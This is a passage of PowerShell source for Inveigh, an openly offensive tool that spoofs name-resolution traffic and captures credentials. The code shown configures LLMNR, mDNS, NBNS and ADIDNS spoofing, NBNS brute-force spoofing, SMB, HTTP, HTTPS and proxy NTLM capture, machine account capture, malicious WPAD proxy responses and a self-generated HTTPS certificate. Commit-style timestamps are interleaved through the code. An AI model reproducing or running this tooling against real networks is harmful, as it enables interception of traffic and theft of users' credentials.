$elevated_privilege_check = [ Bool ] ( ( [ System.Security.Principal.WindowsIdentity ] :: GetCurrent ( ) ) . groups -match " S-1-5-32-544 " )
2018-07-23 08:55:15 +00:00
$elevated_privilege = $true
}
else
{
$elevated_privilege = $false
}
}
if ( $StartupChecks -eq 'Y' )
{
$firewall_status = netsh advfirewall show allprofiles state | Where-Object { $_ -match 'ON' }
if ( $HTTP -eq 'Y' )
{
$HTTP_port_check = netstat -anp TCP | findstr LISTENING | findstr / C: " $HTTPIP ` : $HTTPPort "
}
if ( $HTTPS -eq 'Y' )
{
$HTTPS_port_check = netstat -anp TCP | findstr LISTENING | findstr / C: " $HTTPIP ` : $HTTPSPort "
}
if ( $Proxy -eq 'Y' )
{
$proxy_port_check = netstat -anp TCP | findstr LISTENING | findstr / C: " $HTTPIP ` : $ProxyPort "
}
if ( $LLMNR -eq 'Y' -and ! $elevated_privilege )
{
$LLMNR_port_check = netstat -anp UDP | findstr / C: " 0.0.0.0:5355 "
}
if ( $mDNS -eq 'Y' -and ! $elevated_privilege )
{
$mDNS_port_check = netstat -anp UDP | findstr / C: " 0.0.0.0:5353 "
}
}
if ( ! $elevated_privilege )
{
if ( $HTTPS -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] HTTPS requires elevated privileges "
2018-07-23 08:55:15 +00:00
throw
}
if ( $SpooferLearning -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
Write-Output " [-] SpooferLearning requires elevated privileges "
2018-07-23 08:55:15 +00:00
throw
}
2019-01-21 09:49:07 +00:00
if ( ! $NBNS )
{
$NBNS = " Y "
}
2018-07-23 08:55:15 +00:00
$SMB = " N "
2019-01-21 09:49:07 +00:00
}
else
{
if ( ! $NBNS )
{
$NBNS = " N "
}
2018-07-23 08:55:15 +00:00
}
$inveigh . hostname_spoof = $false
$inveigh . running = $true
if ( $StatusOutput -eq 'Y' )
{
$inveigh . status_output = $true
}
else
{
$inveigh . status_output = $false
}
if ( $OutputStreamOnly -eq 'Y' )
{
$inveigh . output_stream_only = $true
}
else
{
$inveigh . output_stream_only = $false
}
if ( $Inspect )
{
if ( $elevated_privilege )
{
$LLMNR = " N "
$mDNS = " N "
$NBNS = " N "
$HTTP = " N "
$HTTPS = " N "
$Proxy = " N "
}
else
{
$HTTP = " N "
$HTTPS = " N "
$Proxy = " N "
}
}
if ( $Tool -eq 1 ) # Metasploit Interactive PowerShell Payloads and Meterpreter's PowerShell Extension
{
$inveigh . tool = 1
$inveigh . output_stream_only = $true
2019-01-21 09:49:07 +00:00
$inveigh . newline = $null
2018-07-23 08:55:15 +00:00
$ConsoleOutput = " N "
}
elseif ( $Tool -eq 2 ) # PowerShell Empire
{
$inveigh . tool = 2
$inveigh . output_stream_only = $true
$inveigh . console_input = $false
2019-01-21 09:49:07 +00:00
$inveigh . newline = $null
2018-07-23 08:55:15 +00:00
$LogOutput = " N "
$ShowHelp = " N "
switch ( $ConsoleOutput )
{
'Low'
{
$ConsoleOutput = " Low "
}
'Medium'
{
$ConsoleOutput = " Medium "
}
default
{
$ConsoleOutput = " Y "
}
}
}
else
{
$inveigh . tool = 0
2019-01-21 09:49:07 +00:00
$inveigh . newline = $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . netBIOS_domain = ( Get-ChildItem -path env : userdomain ) . Value
$inveigh . computer_name = ( Get-ChildItem -path env : computername ) . Value
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
try
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . DNS_domain = ( ( Get-ChildItem -path env : userdnsdomain -ErrorAction 'SilentlyContinue' ) . Value ) . ToLower ( )
$inveigh . DNS_computer_name = ( $inveigh . computer_name + " . " + $inveigh . DNS_domain ) . ToLower ( )
2019-01-21 09:47:35 +00:00
2019-01-21 09:49:07 +00:00
if ( ! $inveigh . domain_mapping_table . ( $inveigh . netBIOS_domain ) )
{
$inveigh . domain_mapping_table . Add ( $inveigh . netBIOS_domain , $inveigh . DNS_domain )
}
}
catch
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . DNS_domain = $inveigh . netBIOS_domain
$inveigh . DNS_computer_name = $inveigh . computer_name
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $inveigh . relay_running )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
# $inveigh.output_pause = $true
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
#endregion
#region begin startup messages
$inveigh . output_queue . Add ( " [*] Inveigh $inveigh_version started at $( Get-Date -format s ) " ) > $null
2018-07-23 08:55:15 +00:00
if ( $ElevatedPrivilege -eq 'Y' -or $elevated_privilege )
{
2019-01-21 09:49:07 +00:00
if ( ( $ElevatedPrivilege -eq 'Auto' -and $elevated_privilege ) -or ( $ElevatedPrivilege -eq 'Y' -and $elevated_privilege_check ) )
{
$inveigh . output_queue . Add ( " [+] Elevated Privilege Mode = Enabled " ) > $null
}
else
{
$inveigh . output_queue . Add ( " [-] Elevated Privilege Mode Enabled But Check Failed " ) > $null
}
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [!] Elevated Privilege Mode = Disabled " ) > $null
$SMB = " N "
2018-07-23 08:55:15 +00:00
}
if ( $firewall_status )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [!] Windows Firewall = Enabled " ) > $null
}
$inveigh . output_queue . Add ( " [+] Primary IP Address = $IP " ) > $null
if ( $LLMNR -eq 'Y' -or $mDNS -eq 'Y' -or $NBNS -eq 'Y' )
{
$inveigh . output_queue . Add ( " [+] Spoofer IP Address = $SpooferIP " ) > $null
}
if ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' )
{
2018-07-23 08:55:15 +00:00
2019-01-21 09:49:07 +00:00
if ( $SpooferThresholdHost -gt 0 )
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Threshold Host = $SpooferThresholdHost " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $SpooferThresholdNetwork -gt 0 )
{
$inveigh . output_queue . Add ( " [+] Spoofer Threshold Network = $SpooferThresholdNetwork " ) > $null
}
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
if ( $ADIDNS )
{
$inveigh . ADIDNS = $ADIDNS
$inveigh . output_queue . Add ( " [+] ADIDNS Spoofer = $ADIDNS " ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS Hosts Ignore = " + ( $ADIDNSHostsIgnore -join " , " ) ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS Domain Controller = $ADIDNSDomainController " ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS Domain = $ADIDNSDomain " ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS Forest = $ADIDNSForest " ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS TTL = $ADIDNSTTL " ) > $null
$inveigh . output_queue . Add ( " [+] ADIDNS Zone = $ADIDNSZone " ) > $null
if ( $ADIDNSCleanup -eq 'Y' )
{
$inveigh . output_queue . Add ( " [+] ADIDNS Cleanup = Enabled " ) > $null
}
else
{
$inveigh . output_queue . Add ( " [+] ADIDNS Cleanup = Disabled " ) > $null
}
2019-01-20 20:27:28 +00:00
2019-01-21 09:49:07 +00:00
if ( $ADIDNS -eq 'Combo' )
{
$inveigh . request_table_updated = $true
}
}
else
2018-07-23 08:55:15 +00:00
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] ADIDNS Spoofer = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $LLMNR -eq 'Y' )
{
if ( $elevated_privilege -or ! $LLMNR_port_check )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] LLMNR Spoofer = Enabled " ) > $null
$inveigh . output_queue . Add ( " [+] LLMNR TTL = $LLMNRTTL Seconds " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
$LLMNR = " N "
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] LLMNR Spoofer Disabled Due To In Use Port 5355 " ) > $null
2018-07-23 08:55:15 +00:00
}
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] LLMNR Spoofer = Disabled " ) > $null
$LLMNR_response_message = " [spoofer disabled] "
2018-07-23 08:55:15 +00:00
}
if ( $mDNS -eq 'Y' )
{
if ( $elevated_privilege -or ! $mDNS_port_check )
{
$mDNSTypes_output = $mDNSTypes -join " , "
if ( $mDNSTypes . Count -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] mDNS Spoofer For Type $mDNSTypes_output = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] mDNS Spoofer For Types $mDNSTypes_output = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] mDNS TTL = $mDNSTTL Seconds " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
$mDNS = " N "
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] mDNS Spoofer Disabled Due To In Use Port 5353 " ) > $null
2018-07-23 08:55:15 +00:00
}
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] mDNS Spoofer = Disabled " ) > $null
$mDNS_response_message = " [spoofer disabled] "
2018-07-23 08:55:15 +00:00
}
if ( $NBNS -eq 'Y' )
{
$NBNSTypes_output = $NBNSTypes -join " , "
if ( $NBNSTypes . Count -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS Spoofer For Type $NBNSTypes_output = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS Spoofer For Types $NBNSTypes_output = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS Spoofer = Disabled " ) > $null
$NBNS_response_message = " [spoofer disabled] "
2018-07-23 08:55:15 +00:00
}
if ( $NBNSBruteForce -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget " ) > $null
$inveigh . output_queue . Add ( " [+] NBNS Brute Force Spoofer IP Address = $SpooferIP " ) > $null
$inveigh . output_queue . Add ( " [+] NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost " ) > $null
2018-07-23 08:55:15 +00:00
if ( $NBNSBruteForcePause )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS Brute Force Pause = $NBNSBruteForcePause Seconds " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( $NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NBNS TTL = $NBNSTTL Seconds " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferLearning -eq 'Y' -and ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
if ( $SpooferLearningDelay -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning Delay = $SpooferLearningDelay Minute " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $SpooferLearningDelay -gt 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning Delay = $SpooferLearningDelay Minutes " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferLearningInterval -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning Interval = $SpooferLearningInterval Minute " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $SpooferLearningInterval -eq 0 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning Interval = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $SpooferLearningInterval -gt 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Learning Interval = $SpooferLearningInterval Minutes " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( $SpooferHostsReply -and ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Hosts Reply = " + ( $SpooferHostsReply -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferHostsIgnore -and ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Hosts Ignore = " + ( $SpooferHostsIgnore -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferIPsReply -and ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer IPs Reply = " + ( $SpooferIPsReply -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferIPsIgnore -and ( $LLMNR -eq 'Y' -or $NBNS -eq 'Y' ) )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer IPs Ignore = " + ( $SpooferIPsIgnore -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $SpooferRepeat -eq 'N' )
{
$inveigh . spoofer_repeat = $false
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Spoofer Repeating = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
$inveigh . spoofer_repeat = $true
}
if ( $SMB -eq 'Y' -and $elevated_privilege )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] SMB Capture = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] SMB Capture = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTP -eq 'Y' )
{
if ( $HTTP_port_check )
{
$HTTP = " N "
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] HTTP Capture Disabled Due To In Use Port $HTTPPort " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
if ( $HTTPIP -ne '0.0.0.0' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP IP = $HTTPIP " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPPort -ne 80 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP Port = $HTTPPort " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP Capture = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP Capture = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPS -eq 'Y' )
{
if ( $HTTPS_port_check )
{
$HTTPS = " N "
$inveigh . HTTPS = $false
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] HTTPS Capture Disabled Due To In Use Port $HTTPSPort " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
try
{
$inveigh . certificate_issuer = $HTTPSCertIssuer
$inveigh . certificate_CN = $HTTPSCertSubject
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " HTTPS Certificate Issuer = " + $inveigh . certificate_issuer ) > $null
$inveigh . output_queue . Add ( " HTTPS Certificate CN = " + $inveigh . certificate_CN ) > $null
2018-07-23 08:55:15 +00:00
$certificate_check = ( Get-ChildItem Cert : \ LocalMachine \ My | Where-Object { $_ . Issuer -Like " CN= " + $inveigh . certificate_issuer } )
if ( ! $certificate_check )
{
2019-01-21 09:49:07 +00:00
# credit to subTee for cert creation code from Interceptor
2018-07-23 08:55:15 +00:00
$certificate_distinguished_name = new-object -com " X509Enrollment.CX500DistinguishedName "
$certificate_distinguished_name . Encode ( " CN= " + $inveigh . certificate_CN , $certificate_distinguished_name . X500NameFlags . X500NameFlags . XCN_CERT_NAME_STR_NONE )
$certificate_issuer_distinguished_name = new-object -com " X509Enrollment.CX500DistinguishedName "
$certificate_issuer_distinguished_name . Encode ( " CN= " + $inveigh . certificate_issuer , $certificate_distinguished_name . X500NameFlags . X500NameFlags . XCN_CERT_NAME_STR_NONE )
$certificate_key = new-object -com " X509Enrollment.CX509PrivateKey "
$certificate_key . ProviderName = " Microsoft Enhanced RSA and AES Cryptographic Provider "
$certificate_key . KeySpec = 2
$certificate_key . Length = 2048
$certificate_key . MachineContext = 1
$certificate_key . Create ( )
$certificate_server_auth_OID = new-object -com " X509Enrollment.CObjectId "
$certificate_server_auth_OID . InitializeFromValue ( " 1.3.6.1.5.5.7.3.1 " )
$certificate_enhanced_key_usage_OID = new-object -com " X509Enrollment.CObjectIds.1 "
2019-01-21 09:49:07 +00:00
$certificate_enhanced_key_usage_OID . Add ( $certificate_server_auth_OID )
2018-07-23 08:55:15 +00:00
$certificate_enhanced_key_usage_extension = new-object -com " X509Enrollment.CX509ExtensionEnhancedKeyUsage "
$certificate_enhanced_key_usage_extension . InitializeEncode ( $certificate_enhanced_key_usage_OID )
$certificate = new-object -com " X509Enrollment.CX509CertificateRequestCertificate "
$certificate . InitializeFromPrivateKey ( 2 , $certificate_key , " " )
$certificate . Subject = $certificate_distinguished_name
$certificate . Issuer = $certificate_issuer_distinguished_name
2019-01-21 09:49:07 +00:00
$certificate . NotBefore = ( Get-Date ) . AddDays ( -271 )
2018-07-23 08:55:15 +00:00
$certificate . NotAfter = $certificate . NotBefore . AddDays ( 824 )
$certificate_hash_algorithm_OID = New-Object -ComObject X509Enrollment . CObjectId
$certificate_hash_algorithm_OID . InitializeFromAlgorithmName ( 1 , 0 , 0 , " SHA256 " )
$certificate . HashAlgorithm = $certificate_hash_algorithm_OID
$certificate . X509Extensions . Add ( $certificate_enhanced_key_usage_extension )
$certificate_basic_constraints = new-object -com " X509Enrollment.CX509ExtensionBasicConstraints "
$certificate_basic_constraints . InitializeEncode ( " true " , 1 )
$certificate . X509Extensions . Add ( $certificate_basic_constraints )
$certificate . Encode ( )
$certificate_enrollment = new-object -com " X509Enrollment.CX509Enrollment "
$certificate_enrollment . InitializeFromRequest ( $certificate )
$certificate_data = $certificate_enrollment . CreateRequest ( 0 )
$certificate_enrollment . InstallResponse ( 2 , $certificate_data , 0 , " " )
$inveigh . certificate = ( Get-ChildItem Cert : \ LocalMachine \ My | Where-Object { $_ . Issuer -match $inveigh . certificate_issuer } )
}
else
{
if ( $HTTPSForceCertDelete -eq 'Y' )
{
$inveigh . HTTPS_force_certificate_delete = $true
}
$inveigh . HTTPS_existing_certificate = $true
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTPS Capture = Using Existing Certificate " ) > $null
2018-07-23 08:55:15 +00:00
}
$inveigh . HTTPS = $true
if ( $HTTPIP -ne '0.0.0.0' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTPS IP = $HTTPIP " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPSPort -ne 443 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTPS Port = $HTTPSPort " ) > $null
2018-07-23 08:55:15 +00:00
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTPS Capture = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
catch
{
$HTTPS = " N "
$inveigh . HTTPS = $false
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] HTTPS Capture Disabled Due To Certificate Error " ) > $null
2018-07-23 08:55:15 +00:00
}
}
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTPS Capture = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTP -eq 'Y' -or $HTTPS -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS Authentication = $HTTPAuth " ) > $null
2018-07-23 08:55:15 +00:00
if ( $HTTPDir -and ! $HTTPResponse )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS Directory = $HTTPDir " ) > $null
2018-07-23 08:55:15 +00:00
if ( $HTTPDefaultFile )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS Default Response File = $HTTPDefaultFile " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPDefaultEXE )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( $HTTPResponse )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS Response = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] HTTP/HTTPS/Proxy Content Type = $HTTPContentType " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Basic Authentication Realm = $HTTPBasicRealm " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $Proxy -eq 'Y' )
{
if ( $proxy_port_check )
{
$Proxy = " N "
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [-] Proxy Capture Disabled Due To In Use Port $ProxyPort " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Proxy Capture = Enabled " ) > $null
$inveigh . output_queue . Add ( " [+] Proxy Port = $ProxyPort " ) > $null
$inveigh . output_queue . Add ( " [+] Proxy Authentication = $ProxyAuth " ) > $null
2018-07-23 08:55:15 +00:00
$ProxyPortFailover = $ProxyPort + 1
$ProxyIgnore = ( $ProxyIgnore | Where-Object { $_ -and $_ . Trim ( ) } )
if ( $ProxyIgnore . Count -gt 0 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Proxy Ignore List = " + ( $ProxyIgnore -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $ProxyIP -eq '0.0.0.0' )
{
$proxy_WPAD_IP = $IP
}
else
{
$proxy_WPAD_IP = $ProxyIP
}
if ( $WPADIP -and $WPADPort )
{
$WPADResponse = " function FindProxyForURL(url,host){ $WPAD_direct_hosts_function return `" PROXY $proxy_WPAD_IP ` : $ProxyPort ; PROXY $WPADIP ` : $WPADPort ; DIRECT `" ;} "
}
else
{
$WPADResponse = " function FindProxyForURL(url,host){ $WPAD_direct_hosts_function return `" PROXY $proxy_WPAD_IP ` : $ProxyPort ; PROXY $proxy_wpad_IP ` : $ProxyPortFailover ; DIRECT `" ;} "
}
}
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Authentication = $WPADAuth " ) > $null
if ( $WPADAuth -like " NTLM* " )
{
$WPADAuthIgnore = ( $WPADAuthIgnore | Where-Object { $_ -and $_ . Trim ( ) } )
if ( $WPADAuthIgnore . Count -gt 0 )
{
$inveigh . output_queue . Add ( " [+] WPAD NTLM Authentication Ignore List = " + ( $WPADAuthIgnore -join " , " ) ) > $null
}
}
2018-07-23 08:55:15 +00:00
if ( $WPADDirectHosts )
{
2019-01-21 09:49:07 +00:00
foreach ( $WPAD_direct_host in $WPADDirectHosts )
2018-07-23 08:55:15 +00:00
{
$WPAD_direct_hosts_function + = 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";'
}
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Direct Hosts = " + ( $WPADDirectHosts -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $WPADResponse -and $Proxy -eq 'N' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Custom Response = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $WPADResponse -and $Proxy -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Proxy Response = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
if ( $WPADIP -and $WPADPort )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Failover = $WPADIP ` : $WPADPort " ) > $null
2018-07-23 08:55:15 +00:00
}
}
elseif ( $WPADIP -and $WPADPort )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Response = Enabled " ) > $null
$inveigh . output_queue . Add ( " [+] WPAD = $WPADIP ` : $WPADPort " ) > $null
2018-07-23 08:55:15 +00:00
if ( $WPADDirectHosts )
{
2019-01-21 09:49:07 +00:00
foreach ( $WPAD_direct_host in $WPADDirectHosts )
2018-07-23 08:55:15 +00:00
{
$WPAD_direct_hosts_function + = 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";'
}
$WPADResponse = " function FindProxyForURL(url,host){ " + $WPAD_direct_hosts_function + " return `" PROXY " + $WPADIP + " : " + $WPADPort + " `" ;} "
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Direct Hosts = " + ( $WPADDirectHosts -join " , " ) ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
$WPADResponse = " function FindProxyForURL(url,host){ $WPAD_direct_hosts_function return `" PROXY $WPADIP ` : $WPADPort ; DIRECT `" ;} "
}
}
elseif ( $WPADDirectFile -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] WPAD Default Response = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
$WPADResponse = " function FindProxyForURL(url,host){return `" DIRECT `" ;} "
}
if ( $Challenge )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] NTLM Challenge = $Challenge " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( $MachineAccounts -eq 'N' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Machine Account Capture = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
$inveigh . machine_accounts = $false
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Machine Account Capture = Enabled " ) > $null
2018-07-23 08:55:15 +00:00
$inveigh . machine_accounts = $true
}
if ( $ConsoleOutput -ne 'N' )
{
2019-01-21 09:49:07 +00:00
if ( $ConsoleOutput -ne 'N' )
2019-01-21 09:47:35 +00:00
{
2019-01-21 09:49:07 +00:00
if ( $ConsoleOutput -eq 'Y' )
{
$inveigh . output_queue . Add ( " [+] Console Output = Full " ) > $null
}
else
{
$inveigh . output_queue . Add ( " [+] Console Output = $ConsoleOutput " ) > $null
}
2018-07-23 08:55:15 +00:00
}
$inveigh . console_output = $true
if ( $ConsoleStatus -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Console Status = $ConsoleStatus Minute " ) > $null
2018-07-23 08:55:15 +00:00
}
elseif ( $ConsoleStatus -gt 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Console Status = $ConsoleStatus Minutes " ) > $null
2018-07-23 08:55:15 +00:00
}
}
else
{
if ( $inveigh . tool -eq 1 )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Console Output Disabled Due To External Tool Selection " ) > $null
2018-07-23 08:55:15 +00:00
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Console Output = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
}
if ( $ConsoleUnique -eq 'Y' )
{
$inveigh . console_unique = $true
}
else
{
$inveigh . console_unique = $false
}
if ( $FileOutput -eq 'Y' )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] File Output = Enabled " ) > $null
$inveigh . output_queue . Add ( " [+] Output Directory = $output_directory " ) > $null
2018-07-23 08:55:15 +00:00
$inveigh . file_output = $true
}
else
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] File Output = Disabled " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $FileUnique -eq 'Y' )
{
$inveigh . file_unique = $true
}
else
{
$inveigh . file_unique = $false
}
2019-01-21 09:49:07 +00:00
if ( $LogOutput -eq 'Y' )
{
$inveigh . log_output = $true
}
else
{
$inveigh . log_output = $false
}
2018-07-23 08:55:15 +00:00
if ( $RunCount )
{
2019-01-21 09:49:07 +00:00
$inveigh . output_queue . Add ( " [+] Run Count = $RunCount " ) > $null
2018-07-23 08:55:15 +00:00
}
if ( $RunTime -eq 1 )
{
2019-01-21 09:49:07 +00:00
